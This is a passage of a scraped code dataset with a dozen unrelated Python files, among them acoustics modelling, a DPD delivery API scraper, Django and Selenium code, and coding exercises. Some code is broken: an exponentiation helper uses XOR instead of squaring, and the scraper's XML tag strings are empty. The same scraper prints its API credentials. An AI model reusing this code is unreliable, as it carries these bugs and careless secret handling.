6) * (psiPrime + 2 * tPrime2)\n lonTerm3 = ((x5 * secLatPrime) / 120) * ((-4 * psiPrime3) * (1 - 6 * tPrime2) + psiPrime2 * (9 - 68 * tPrime2) + 72 * psiPrime * tPrime2 + 24 * tPrime4)\n lonTerm4 = ((x7 * secLatPrime) / 5040) * (61 + 662 * tPrime2 + 1320 * tPrime4 + 720 * tPrime6)\n lon = (self.oLon * math.pi / 180) + lonTerm1 - lonTerm2 + lonTerm3 - lonTerm4\n\n return (lat / (math.pi / 180), lon / (math.pi / 180))\n\nif __name__ == '__main__':\n import gdal\n from osgeo import ogr\n\n traffic = Traffic()\n print('Running traffic main file.')\n traffic.loadShapes()","sub_path":"python/gps/agent/box2d/traffic.py","file_name":"traffic.py","file_ext":"py","file_size_in_byte":14614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"463660790","text":"from singlePanel_A import SinglePanel_A\nfrom singlePanel_B import SinglePanel_B\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n############################################################\n##### Sound Transmission Loss ##############################\n##### Single Panel Predicetive Model #######################\n############################################################\n############################################################\n##### Author : Peem Srinikorn ##############################\n##### 29 Oct 2018 ##########################################\n############################################################\n########## Reference Equation,formula from Insul ###########\n############################################################\n########## Document Reference #############################\n############################################################\n########## Jason Esan Cambridge (2006). ####################\n## Prediction tools for airborne sound insulation- #########\n## evaluation and application. Department of Civil #########\n########### and Environmental Engineering ##################\n############ Division of Applied Acoustics,#################\n############ CHALMERS UNIVERSITY OF TECHNOLOGY, Sweden #####\n############################################################\n########## for study only ##################################\n############################################################\n\n\nclass DoublePanel():\n def __init__(self,Panel_A,Panel_B,d,flow,spacing): #distance\n self.d = d/1000 #distance between Panel_A and Panel_B -> unit millimetre\n self.flow = flow #flow resistance of Absorber -> Rayl/m\n self.Panel_A = Panel_A.Values()[1] #TL_A\n self.Panel_B = Panel_B.Values()[1] # TL_B\n self.spac = spacing/1000 # spacing of line connection\n self.Mass_A = Panel_A.Mass\n self.Mass_B = Panel_B.Mass\n self.fc_A = Panel_A.Crifreq()\n self.fc_B = Panel_B.Crifreq()\n self.Height_A = Panel_A.height\n self.Height_B = Panel_B.height\n self.Area_A = Panel_A.Area\n self.Area_B = Panel_B.Area\n self.f = [50,63,80,100,125,160,200,250,315,400,500,630,800,1000,1250,1600,2000,2500,3150,4000,5000] #1/3 Octave freq band\n self.c = 343 #speed of airborne sound\n self.pair = 1.18 # Airborne Sound Density\n\n def freq(self):\n me = ((self.pair*(self.c**2))/self.d)*((1/self.Mass_A)+(1/self.Mass_B))\n f0 = (1/(2*np.pi))*(np.sqrt(me))\n fl = 55/self.d\n return f0,fl\n\n def Con1(self): # f < f0\n f0 = DoublePanel.freq(self)[0]\n f = self.f\n TL_con1 = [20*np.log10(f[i]*(self.Mass_A+self.Mass_B))-47 for i in range(0,len(f)) if f[i] < f0]\n return TL_con1\n\n def Con2(self): # f > f0 and f < fl\n R_A = self.Panel_A\n R_B = self.Panel_B\n f = self.f\n f0 = DoublePanel.freq(self)[0]\n fl = DoublePanel.freq(self)[1]\n TL_Con2 = [ R_A[i] + R_B[i] + 20*np.log10(f[i]*self.d) -29 for i in range(0,len(f)) if f[i] >= f0 and f[i] <= fl]\n return TL_Con2\n\n def Con3(self): # f > fl\n R_A = self.Panel_A\n R_B = self.Panel_B\n f = self.f\n fl = DoublePanel.freq(self)[1]\n TL_Con3 = [ R_A[i] + R_B[i] + 6 for i in range(0,len(f)) if f[i] > fl ]\n return TL_Con3\n\n def Total_Double(self): # Total TL of Double Panel\n f = self.f\n R1 = DoublePanel.Con1(self)\n R2 = DoublePanel.Con2(self)\n R3 = DoublePanel.Con3(self)\n R_Total = R1 + R2 + R3\n R_TotalSTC = [R_Total[i] for i in range(0, len(f)) if f[i] >= 125 and f[i] <= 4000]\n return R_TotalSTC,R_Total\n\n def Absorber(self): # Absorber Cal\n f = self.f\n fl = DoublePanel.freq(self)[1]\n f_ab = [f[i] for i in range(0,len(f)) if f[i] > fl]\n R_A = self.Panel_A\n R_B = self.Panel_B\n k = [(2 * np.pi * f_ab[i]) / self.c for i in range(0, len(f_ab))]\n omega = [(2 * np.pi * f_ab[i]) for i in range(0, len(f_ab))]\n prob = [((omega[i] / self.c) * 0.189 * (self.pair*f_ab[i] / self.flow) ** -0.595) + ( 1j * (omega[i] / self.c) * ((1 + 0.0978 * (self.pair * f_ab[i]) / (self.flow)) ** -0.7)) for i in range(0, len(f_ab))]\n alpha = [prob[i].real for i in range(0, len(prob))]\n beta = [prob[i].imag for i in range(0, len(prob))]\n TL = [R_A[i] + R_B[i] for i in range(0, len(f)) if f[i] > fl]\n TL_Ab = [TL[i] + 8.6 * alpha[i] * self.d + 20*np.log10(beta[i] / k[i]) for i in range(0, len(f_ab))]\n return TL_Ab\n\n def Total_Double_Absorb(self): # Total TL Double Panel with Absorber\n f = self.f\n R_TL = DoublePanel.Con1(self) + DoublePanel.Con2(self)\n R_Ab = R_TL + DoublePanel.Absorber(self)\n R_AbSTC = [R_Ab[i] for i in range(0, len(f)) if f[i] >= 125 and f[i] <= 4000]\n return R_AbSTC,R_Ab\n\n def Stud(self): #stud line connection calculation\n deltaRb = 10*np.log10(self.spac*self.fc_A)+ 20*np.log10((self.Mass_A/(self.Mass_A+self.Mass_B)))-18\n fcl = (((self.Mass_A*np.sqrt(self.fc_B))+(self.Mass_B*np.sqrt(self.fc_A)))/(self.Mass_A+self.Mass_B))**2\n deltaRm = 10*np.log10(((self.Area_A)/(self.Height_A))*((np.pi*fcl)/(2*self.c)))\n\n return deltaRb,deltaRm\n\n def Total_Double_Stud(self): #Total TL of Double Panel with Stud\n f = self.f\n fl = DoublePanel.freq(self)[1]\n deltaRb = DoublePanel.Stud(self)[0]\n deltaRm = DoublePanel.Stud(self)[1]\n R = DoublePanel.Total_Double(self)[1]\n R_1 = [ R[i] for i in range(0,len(f)) if f[i] <= fl*0.5 ]\n R_2 = [ R[i]-deltaRb for i in range(0,len(f)) if f[i] >= fl*0.5 and f[i] <= fl]\n R_3 = [ R[i]-deltaRm for i in range(0,len(f)) if f[i] >= fl]\n R_Total = R_1+R_2+R_3\n R_TDS_STC = [R_Total[i] for i in range(0, len(f)) if f[i] >= 125 and f[i] <= 4000]\n return R_TDS_STC,R_Total\n\n def Total_Double_Absorb_Stud(self): #Total TL of Double Panel with Absorber and Stud\n f = self.f\n fl = DoublePanel.freq(self)[1]\n deltaRb = DoublePanel.Stud(self)[0]\n deltaRm = DoublePanel.Stud(self)[1]\n R = DoublePanel.Total_Double_Absorb(self)[1]\n R_1 = [ R[i] for i in range(0,len(f)) if f[i] <= 0.5 * fl ]\n R_2 = [ R[i]-deltaRb for i in range(0,len(f)) if f[i] >= 0.5*fl and f[i] <= fl]\n R_3 = [ R[i]-deltaRm for i in range(0,len(f)) if f[i] >= fl]\n R_Total = R_1+R_2+R_3\n R_TDAS_STC = [R_Total[i] for i in range(0, len(f)) if f[i] >= 125 and f[i] <= 4000]\n return R_TDAS_STC, R_Total\n\n############################################################\n##### Sound Transmission Loss ##############################\n##### Single Panel Predicetive Model #######################\n############################################################\n############################################################\n##### Author : Peem Srinikorn ##############################\n##### 29 Oct 2018 ##########################################\n############################################################\n########## Reference Equation,formula from Insul ###########\n############################################################\n########## Document Reference #############################\n############################################################\n########## Jason Esan Cambridge (2006). ####################\n## Prediction tools for airborne sound insulation- #########\n## evaluation and application. Department of Civil #########\n########### and Environmental Engineering ##################\n############ Division of Applied Acoustics,#################\n############ CHALMERS UNIVERSITY OF TECHNOLOGY, Sweden #####\n############################################################\n########## for study only ##################################\n############################################################\n","sub_path":"double_panel/doublePanel.py","file_name":"doublePanel.py","file_ext":"py","file_size_in_byte":7865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"360387312","text":"import http.client\nimport datetime\nimport json\nimport time\n\ndef get_secur(param):\n\tputh = 'conf.conf'\n\tf = open(puth)\n\tsecurs = f.read()\n\tf.close()\n\tpartnerCode_num = securs.find('partnerCode')\n\tclientKey_num = securs.find('clientKey')\n\tauthorization_num = securs.find('authorization')\n\tpartnerCode = securs[partnerCode_num + 14:clientKey_num-1]\n\tclientKey = securs[clientKey_num+12:authorization_num -1]\n\tauthorization = securs[authorization_num+16:]\n\tprint(partnerCode)\n\tprint(clientKey)\n\tprint(authorization)\n\tif param == \"pc\": return partnerCode\n\tif param == \"ck\": return clientKey\n\tif param == \"au\": return authorization \n\n\ndef get_information(payload):\n\tconn = http.client.HTTPConnection(\"ws.dpd.ru:80\")\n\theaders = {\n\t\t'content-type': \"text/xml\",\n\t\t'cache-control': \"no-cache\"\n\t\t}\n\ttry:\n\t\tconn.request(\"POST\", \"/services/partnership?wsdl=\", payload, headers)\n\t\tres = conn.getresponse()\n\t\tprint(res)\n\texcept:\n\t\tconn.request(\"POST\", \"/services/partnership?wsdl=\", payload, headers)\n\t\tres = conn.getresponse()\n\t\tprint(res)\n\t#res = requests.post('/services/partnership?wsdl=', payload, headers)\n\tdata = res.read()\n\tredata = data.decode(\"utf-8\")\n\t#print(redata)\n\tconn.close()\n\treturn redata\n\ndef get_time(param):\n\tnow = datetime.datetime.now()\n\tstr_time = str(now.strftime('%Y-%m-%d'))\n\tstr_date = str(now.strftime('%H:%M:%S'))\n\tif param:\n\t\treturn str_time\n\telse:\n\t\treturn str_date\n\ndef find_strings(data):\n\tbeg = data.find('')\n\tend = data.find(' ')\n\tif beg != -1:\n\t\tstation_n_begin = data.find('')\n\t\tstation_n_end = data.find(' ')\n\t\tpointCode_beg = data.find('')\n\t\tpointCode_end = data.find(' ')\n\t\tprint(data[station_n_begin + 12: station_n_end])\n\t\tprint('Pochtomat #', data[pointCode_beg + 11: pointCode_end])\n\t\tpayload_beg = '\\n \\n \\n \\n \\n \\n \\n '+ get_secur('pc') + ' \\n ' + get_secur('ck') + ' \\n \\n '\n\t\tpayload_cent = data[station_n_begin + 12: station_n_end]\n\t\tpayload_end = ' \\n \\n \\n \\n '\n\t\tpayload_all = payload_beg + payload_cent + payload_end\n\t\t#time.sleep(15)\n\t\tfind_consignor(get_information(payload_all),data[station_n_begin + 12: station_n_end],data[pointCode_beg + 11: pointCode_end])\n\t\ttry:\n\t\t\tfind_strings(data[end + 9:])\n\t\texcept:\n\t\t\ttime.sleep(10)\n\t\t\tfind_strings(data[end + 9:])\n\n\n\ndef find_consignor(data, stationNums, pointCode):\n\tbeg = data.find('')\n\tend = data.find(' ')\n\tif beg != -1:\n\t\tdpdOrderNum = data.find('')\n\t\tdpdOrderNum_e = data.find(' ')\n\t\tparcelNum = data.find('')\n\t\tparcelNum_e = data.find(' ')\n\t\tconsignor = data.find('')\n\t\tconsignor_e = data.find(' ')\n\t\t#value_dpdOrderNum = {}\n\t\tvalue_parcelNum = {}\n\t\tvalue_consignor = {}\n\t\tvalue = {}\n\t\tif dpdOrderNum != -1:\n\t\t\tvalue_dpdOrderNum = data[dpdOrderNum+13:dpdOrderNum_e]\n\t\t\tprint('dpdOrderNum = ', value_dpdOrderNum)\n\t\t\tvalue_header = {value_dpdOrderNum: {}}\n\t\t\tif parcelNum != -1:\n\t\t\t\tprint('parcelNum = ', data[parcelNum+11:parcelNum_e])\n\t\t\t\tParcelNum = data[parcelNum+11:parcelNum_e]\n\t\t\t\tif consignor != -1:\n\t\t\t\t\tprint('consignor = ', data[consignor+11:consignor_e])\n\t\t\t\t\tconsignors = data[consignor+11:consignor_e]\n\t\t\tvalue = {\n\t\t\t'dpd_order': value_dpdOrderNum,\n\t\t\t'parcelNum:': ParcelNum, \n\t\t\t'Time': get_time(False), \n\t\t\t'stationNums': stationNums,\n\t\t\t'Date': get_time(True),\n\t\t\t'pointCode': pointCode,\n\t\t\t'consignor': consignors\n\t\t\t\t}\n\t\t#value_header.update([(value_dpdOrderNum, value)])\n\t\t#save_in(value_dpdOrderNum, value)\n\t\tsave_in(value)\n\t\tprint(value_header)\n\t\t#print(data[beg:end + 8])\n\t\tfind_consignor(data[end+8:], stationNums, pointCode)\n\ndef load_file_d():\n\tputh = 'consignors.json'\n\tputh_dumps = 'consignors_dumps.json'\n\ttry:\n\t\twith open(puth) as filej:\n\t\t\tdata12 = json.load(filej)\n\t\tfilej.close()\n\t\twith open(puth_dumps) as filep:\n\t\t\tdata21 = json.load(filep)\n\t\tfilep.close()\n\t\tif data12['count'] < data21['count']:\n\t\t\treturn data21\n\t\telse:\n\t\t\treturn data12\n\texcept:\n\t\ttry:\n\t\t\twith open(puth_dumps) as filep:\n\t\t\t\tdata21 = json.load(filep)\n\t\t\tfilep.close()\n\t\t\treturn data21\n\t\texcept:\n\t\t\tpaxa = {}\n\t\t\twith open(puth, 'w') as fiiil:\n\t\t\t\tjson.dump(paxa, fiiil, ensure_ascii=False)\n\t\t\tfiiil.close()\n\t\t\treturn paxa\ndef save_in(value):\n\tputh = 'consignors.json'\n\tputh_dumps = 'consignors_dumps.json'\n\tlast_file = load_file_d()\n\tcounts = last_file['count']\n\ti = 1\n\tflag = True\n\twhile ((i\\n\\n\\t\\n\\t\\n\\n \\n \\n \\n \\n \"+get_secur('pc') + \" \\n \"+get_secur('ck')+\" \\n \\n \\n \\n\\n \\n \\n \"\n\tfind_strings(get_information(payload))\n\t#get_parcel_pulse()\n\n","sub_path":"get_point_list.py","file_name":"get_point_list.py","file_ext":"py","file_size_in_byte":10079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"652478407","text":"from django.shortcuts import render, redirect\nfrom .forms import NewUserForm\nfrom django.contrib.auth import login\nfrom django.contrib import messages #import messages\n\n\n# Create your views here.\ndef signup(request) :\n\tif request.method == \"POST\":\n\t\tform = NewUserForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tuser = form.save()\n\t\t\tlogin(request, user)\n\t\t\tmessages.success(request, \"Registration successful.\" )\n\t\t\treturn redirect(\"index\")\n\t\tmessages.error(request, \"Unsuccessful registration. Invalid information.\")\n\telse :\n\t\tform = NewUserForm\n\treturn render(request=request, template_name=\"template_signup.html\", context={\"signup_form\":form})","sub_path":"EventManager/Sessions/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"588577531","text":"\"\"\"Ler o nome de um aluno e suas duas notas, guardando tudo em uma lista.\nNo final mostrar o boletim do aluno com sua média permitindo que o usuário\nolhe a nota individual de cada aluno.\"\"\"\nalunos = []\nwhile True:\n aluno = [str(input('Nome: ')).strip().capitalize()]\n notas = [float(input('Nota 1: ')), float(input('Nota 2: '))]\n media = sum(notas) / 2\n aluno.append(notas)\n aluno.append(media)\n alunos.append(aluno)\n escolha = str(input('Quer continuar? [S/N] ')).lower().strip()[0]\n if escolha is 'n':\n break\nprint('-=' * 15)\n\nprint(f'{\"No.\":<4}{\"NOME\":<10}{\"MÉDIA\":>8}')\nprint('-' * 30)\n\nfor posicao, conteudo in enumerate(alunos):\n print(f'{posicao:<4}{conteudo[0]:<10}{conteudo[2]:>8.1f}')\n\nprint('-' * 30)\n\nwhile True:\n mostrar_notas = int(input('Mostrar notas de qual aluno? (999 para interromper) '))\n if mostrar_notas == 999:\n print('FINALIZANDO...')\n break\n elif 0 <= mostrar_notas < (len(alunos)):\n print(f'As notas de {alunos[mostrar_notas][0]} são {alunos[mostrar_notas][1]}')\n else:\n print('Erro. Aluno não encontrado! Tente novamente...')\n print('-' * 20)\nprint('<<<< VOLTE SEMPRE >>>>')\n","sub_path":"lista/alunos.py","file_name":"alunos.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"334885578","text":"'''\nGiven a positive integer, return its corresponding column title as appear in an Excel sheet.\n\nFor example:\n 1 -> A\n 2 -> B\n 3 -> C\n ...\n 26 -> Z\n 27 -> AA\n 28 -> AB \n ...\n\nExample 1:\nInput: 1\nOutput: \"A\"\n\nExample 2:\nInput: 28\nOutput: \"AB\"\n\nExample 3:\nInput: 701\nOutput: \"ZY\"\n'''\n\nclass Solution:\n def convertToTitle(self, n: int) -> str:\n letters = [chr(x) for x in range(65, 91)]\n mapping = {x:y for x, y in zip(range(1, 27), letters)}\n if n < 27:\n return mapping[n]\n ans = ''\n while n > 26:\n n, remain = divmod(n, 26)\n if remain == 0:\n remain = 26\n n -= 1\n ans = mapping[remain] + ans\n return mapping[n] + ans\n# Runtime: 32 ms, faster than 88.12% of Python3 online submissions for Excel Sheet Column Title.\n# Memory Usage: 13.9 MB, less than 6.25% of Python3 online submissions for Excel Sheet Column Title.\n","sub_path":"101-200/168. Excel Sheet Column Title.py","file_name":"168. Excel Sheet Column Title.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"393316388","text":"import time\nimport page_elements\nfrom datetime import datetime\nfrom logger_settings import api_logger\nfrom scripts.crpo.event import event_excel\n\n\nclass CreateEvent(event_excel.EventExcelRead):\n def __init__(self):\n super(CreateEvent, self).__init__()\n\n now = datetime.now()\n self.event_date = now.strftime(\"%d/%m/%Y\")\n\n # --------------- Value initialization ----------------\n self.validation_check = ''\n self.get_event_name = []\n\n self.ui_create_event = []\n self.event_validation_check = []\n\n def create_event(self):\n try:\n self.event_tab()\n\n self.web_element_click_xpath(page_elements.buttons['create'])\n\n self.web_element_send_keys_xpath(page_elements.text_fields['text_field'].format(\"Name\"),\n self.event_sprint_version)\n\n time.sleep(0.5)\n self.web_element_send_keys_xpath(page_elements.text_fields['text_field'].format(\"Requirement\"),\n self.req_name_sprint_version)\n time.sleep(0.5)\n self.drop_down_selection()\n\n self.web_element_click_xpath(page_elements.event['job_field'])\n\n self.web_element_send_keys_xpath(page_elements.text_fields['text_field'].format(\"Search\"),\n self.job_name_sprint_version)\n\n self.web_element_click_xpath(page_elements.event['job_selection'])\n self.web_element_click_xpath(page_elements.buttons['done'])\n\n self.web_element_send_keys_xpath(page_elements.text_fields['text_field'].format(\"Slot\"),\n self.xl_slot)\n self.drop_down_selection()\n\n self.web_element_send_keys_xpath(page_elements.text_fields['text_field'].format(\"From\"),\n self.event_date)\n\n self.web_element_send_keys_xpath(page_elements.text_fields['text_field'].format(\"To\"),\n self.event_date)\n\n self.web_element_send_keys_xpath(page_elements.text_fields['text_field'].format(\"Event Manager\"),\n self.xl_em)\n self.drop_down_selection()\n\n self.web_element_send_keys_xpath(page_elements.text_fields['text_field'].format(\"College\"),\n self.xl_college)\n self.drop_down_selection()\n\n self.web_element_click_xpath(page_elements.event['ec_enable'])\n\n self.driver.execute_script(\"window.scrollTo(0,100);\")\n self.web_element_click_xpath(page_elements.buttons['event_create'])\n\n # ------------------------------- Validating event ---------------------------------------------------------\n self.event_validation('the event')\n if self.validation_check == 'True':\n print('**-------->>> Event created successfully')\n self.ui_create_event = 'Pass'\n else:\n print('Failed to create event <<<--------**')\n\n except Exception as error:\n api_logger.error(error)\n\n def event_validation(self, config_name):\n # ------------------------------ validating the event name -------------------------------------------------\n try:\n self.driver.execute_script(\"window.scrollTo(0,-100);\")\n self.web_element_text_xpath(\n page_elements.event_validation['get_event_name'].format(self.event_sprint_version))\n self.get_event_name = self.text_value\n\n if self.get_event_name.strip() == self.event_sprint_version:\n self.validation_check = 'True'\n self.event_validation_check = 'Pass'\n print('**-------->>> Event Validated and continuing '\n 'with {} to created event :: {}'.format(config_name, self.get_event_name.strip()))\n else:\n print('Event validation failed Or event creation failed <<<--------**')\n except Exception as e:\n api_logger.error(e)\n","sub_path":"scripts/crpo/event/create_event.py","file_name":"create_event.py","file_ext":"py","file_size_in_byte":4153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"143247199","text":"from __future__ import absolute_import\n\nimport itertools\nimport logging\n\nfrom django.conf import settings\nimport six.moves.urllib.parse as urlparse\n\nimport glanceclient as glance_client\n\nfrom horizon.utils import functions as utils\n\nfrom openstack_dashboard.api import base\n\nLOG = logging.getLogger(__name__)\n\ndef glanceclient(request):\n o = urlparse.urlparse(base.url_for(request, 'image'))\n url = \"://\".join((o.scheme, o.netloc))\n insecure = getattr(settings, 'OPENSTACK_SSL_NO_VERIFY', False)\n cacert = getattr(settings, 'OPENSTACK_SSL_CACERT', None)\n LOG.debug('glanceclient connection created using token \"%s\" and url \"%s\"'\n % (request.token.id, url))\n return glance_client.Client('1', url, token=request.token.id,\n insecure=insecure, cacert=cacert)\n\n\ndef image_list_detailed(request, req, marker=None, filters=None, paginate=False):\n limit = getattr(settings, 'API_RESULT_LIMIT', 1000)\n page_size = utils.get_page_size(request)\n\n if paginate:\n request_size = page_size + 1\n else:\n request_size = limit\n\n kwargs = {'filters': filters or {}}\n if marker:\n kwargs['marker'] = marker\n\n images_iter = glanceclient(req).images.list(page_size=request_size,\n limit=limit,\n **kwargs)\n has_more_data = False\n if paginate:\n images = list(itertools.islice(images_iter, request_size))\n if len(images) > page_size:\n images.pop(-1)\n has_more_data = True\n else:\n images = list(images_iter)\n return (images, has_more_data)\n","sub_path":"tools/dockerize/webportal/usr/share/openstack-dashboard/openstack_dashboard/api/glance.py","file_name":"glance.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"603271141","text":"class A:\n classvar1 = \"I'm a class variable in class A\"\n def __init__(self):\n self.var1 = \"I'm inside class A's constructor\"\n self.classvar1 = \"Instance var in class A\"\n self.special = \"Special\"\nclass B(A):\n classvar1 = \"I'm in class B\"\n def __init__(self):\n self.var1 = \"I'm inside class B's constructor\"\n self.classvar1 = \"Instance var in class B\"\n super().__init__()\n\n\na = A()\nb = B()\n\nprint(b.special,b.var1 ,b.classvar1)","sub_path":"41 Super and overriding in classes.py","file_name":"41 Super and overriding in classes.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"66409895","text":"from math import gcd\n\ndef bits_of(m):\n \"\"\"\n Binary digits of n, from the least significant bit.\n\n >>> list(bits_of(11))\n [1, 1, 0, 1]\n \"\"\"\n n=int(m)\n while n:\n yield n & 1\n n >>= 1\n\ndef fast_exp(x,n):\n \"\"\"\n Compute x^n, using the binary expansion of n.\n \"\"\"\n result = 1\n partial = x\n for bit in bits_of(n):\n if bit:\n result *= partial\n partial ^= 2\n return result\n\n\n\n\nMOD = int(10e9 + 7)\ndef expo(a, b, c):\n ans = 1\n for i in range(1, b+1):\n ans *= a\n ans %= c\n return ans\n\nfor _ in range(int(input())):\n a, b, n = [int(x) for x in input().split()]\n sums = fast_exp(a,n)+ fast_exp(b,n)\n ans = gcd(sums, abs(a-b)) % MOD\n print(ans)\n\n\n'''\nimport math\nnww=int(input())\nfor i in range(nww):\n x=int(input())\n x11=int(math.log(x)/math.log(2))\n if 2**x11==x:\n x11=x11-1\n x22=x11-2\n v1=2**x11+2**x22\n v2=2**(x11+1)+1\n else:\n xw=x-2**x11\n x22=int(math.log(xw)/math.log(2))\n if x11-x22==1:\n v1=2**x11+2**x22\n v2=2**(x11+1)+1\n else:\n v1=2**x11+2**x22\n v2=2**(x11)+2**(x22+1)\n\n if x==1 or x==2:\n print(3-x)\n else:\n print(min(x-v1,v2-x))\n'''\n'''\ndef gcd(a,b):\n if a == 0:\n return b\n return gcd(b % a, a)\n\ndef power(a,n,x):\n if n==0:\n return 1\n if n==1:\n return a%x\n out=power(a,n/2,x)\n bigM=(out*out)%x\n if n%2==0:\n result=bigM\n else:\n result=((a%x)*bigM)%x\n return result\n\np=1000000007\ntest=int(input())\nfor i in range(test):\n x=input().split()\n a=int(x[0])\n b=int(x[1])\n n=int(x[2])\n diff=a-b\n if diff==0:\n mod=(pow(a,n,p)+pow(b,n,p))%p\n print(mod)\n else:\n mod=(pow(a,n,diff)+pow(b,n,diff))%diff\n print(gcd(mod,diff)%p)\n'''\n","sub_path":"codechef/Aug18B_SHKNUM.py","file_name":"Aug18B_SHKNUM.py","file_ext":"py","file_size_in_byte":1942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"483736832","text":"from sys import path as load_path\r\npath_to_oct_tools = r'C:\\Users\\zyuan\\Dropbox\\research\\OCTToolbox\\PythonVersion'\r\nload_path.append(path_to_oct_tools)\r\nimport python_oct as oct\r\nraw_data_folder = r'D:\\Topcon\\Projects\\2013-10-04 ssOCT doppler\\RAW\\0006'\r\nraw_data_file = '\\\\'.join([raw_data_folder, 'octimg' + '%04d' %0 + '.raw'])\r\nraw_data = oct.raw_data_fromfile(raw_data_file, 'dri-oct1')\r\npix_num = raw_data.shape[1]\r\nfrom scipy.signal import hann\r\nraw_data = raw_data * hann(pix_num)\r\nraw_data = raw_data.transpose()\r\n# raw_data = raw_data[:, ::4]\r\n\r\n# #correct dispersion\r\n# for i in xrange(-20, 20):\r\n# dispersion_coeff = [0, i * 20.0, 0, 0]\r\n# dispersion_phase = polyval(dispersion_coeff, linspace(0, 1, pix_num))\r\n# dispersion_phase -= linspace(dispersion_phase[0], dispersion_phase[-1],\r\n# pix_num)\r\n# oct_data = raw_data * exp(-1j * dispersion_phase).reshape([pix_num, -1])\r\n# img = oct.reconstruct_img(oct_data) \r\n# img = img[50:, :]\r\n# print(dispersion_coeff, sum(img), sum(20*log10(img)))\r\n\r\n## dispersion compensation\r\nfrom scipy.optimize import fmin as fminsearch\r\ndispersion_coeff = [0, 228, 0, 0]\r\ndispersion_phase = polyval(dispersion_coeff, linspace(0, 1, pix_num))\r\ndispersion_phase -= linspace(dispersion_phase[0], dispersion_phase[-1],\r\n pix_num) \r\nraw_data = real(raw_data * exp(-1j * dispersion_phase).reshape([pix_num, -1])) \r\nraw_data -= mean(raw_data, axis=0) # dc removal\r\nimg = oct.reconstruct_img(raw_data) \r\nfigure();imshow(20*log10(img)); \r\n","sub_path":"PythonVersion/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"99949357","text":"import sys\nimport os\nfrom .UCF_preprocessing import preprocessing\nfrom .OF_utils import optical_flow_prep\nfrom .dmd_preprocessing import dmd_prep\nfrom .mrdmd_preprocessing import mrdmd_prep\n\ncwd = os.getcwd()\ndata_dir = os.path.join(cwd,'data')\nlist_dir = os.path.join(data_dir, 'ucfTrainTestlist')\nUCF_dir = os.path.join(data_dir, 'UCF-101')\nsrc_dir = os.path.join(data_dir,'frames')\nsequence_length = 10\nimage_shape = (216,216,3)\nif __name__== \"__main__\":\n arg = sys.argv[1]\n if 'mrdmd' in arg.lower():\n sequence_length=16\n dest_dir = os.path.join(data_dir,'MrDMD_frames')\n preprocessing(list_dir,UCF_dir,dest_dir,sequence_length=sequence_length,image_size=image_shape, overwrite=True,normalization=False,mean_subtraction=False, horizontal_flip=False,random_crop=False,consistent=True,continuous_seq=True)\n src_dir = dest_dir\n dest_dir= os.path.join(data_dir,'MrDMD_images')\n mrdmd_prep(src_dir,dest_dir,12,6,overwrite=True)\n elif 'dmd' in arg.lower():\n dest_dir = os.path.join(data_dir,'DMD_images')\n dmd_prep(src_dir,dest_dir,5,6,overwrite=True)\n elif 'of' in arg.lower():\n dest_dir = os.path.join(data_dir,'flow_images')\n optical_flow_prep(src_dir,dest_dir,overwrite=True)\n else:\n dest_dir = os.path.join(data_dir, 'frames')\n preprocessing(list_dir,UCF_dir,dest_dir,sequence_length=sequence_length,image_size=image_shape, overwrite=True,normalization=False,mean_subtraction=False, horizontal_flip=False,random_crop=False,consistent=True,continuous_seq=True)\n","sub_path":"make_test_data.py","file_name":"make_test_data.py","file_ext":"py","file_size_in_byte":1562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"166900758","text":"def config_sparc(option, opt_str, value, parser):\n config = parser.values\n config.arch_dirs = [\"sparccode\"]\n config.arch_cflags = \"-target sparc-linux-gnu\"\n config.arch_ldflags = \"-static\"\n config.runexe = \"qemu-sparc32plus \"\n config.expect_url = \"http://pp.info.uni-karlsruhe.de/git/firm-testresults/plain/fail_expectations-sparc\"\n\nconfigurations = {\n 'sparc': config_sparc\n}\n","sub_path":"configs/sparc.py","file_name":"sparc.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"89985348","text":"from mpp.models.sql_tc import SQLTestCase\nfrom tinctest.models.scenario import ScenarioTestCase\nfrom gppylib.commands.base import Command\nimport datetime, os, random, shutil, tinctest\n\ndef _set_VLIM_SLIM_REDZONEPERCENT(vlimMB, slimMB, activationPercent):\n\n # Set up GUCs for VLIM (gp_vmem_protect_limit), SLIM (gp_vmem_limit_per_query) and RQT activation percent (runaway_detector_activation_percent)\n tinctest.logger.info('Setting GUCs for VLIM gp_vmem_protect_limit=%dMB, SLIM gp_vmem_limit_per_query=%dMB and RQT activation percent runaway_detector_activation_percent=%s'%(vlimMB, slimMB, activationPercent))\n Command('Run gpconfig to set GUC gp_vmem_protect_limit',\n 'source $GPHOME/greenplum_path.sh;gpconfig -c gp_vmem_protect_limit -v %d' % vlimMB).run(validateAfter=True)\n Command('Run gpconfig to set GUC gp_vmem_limit_per_query',\n 'source $GPHOME/greenplum_path.sh;gpconfig -c gp_vmem_limit_per_query -v %d --skipvalidation' % (slimMB * 1024)).run(validateAfter=True)\n Command('Run gpconfig to set GUC 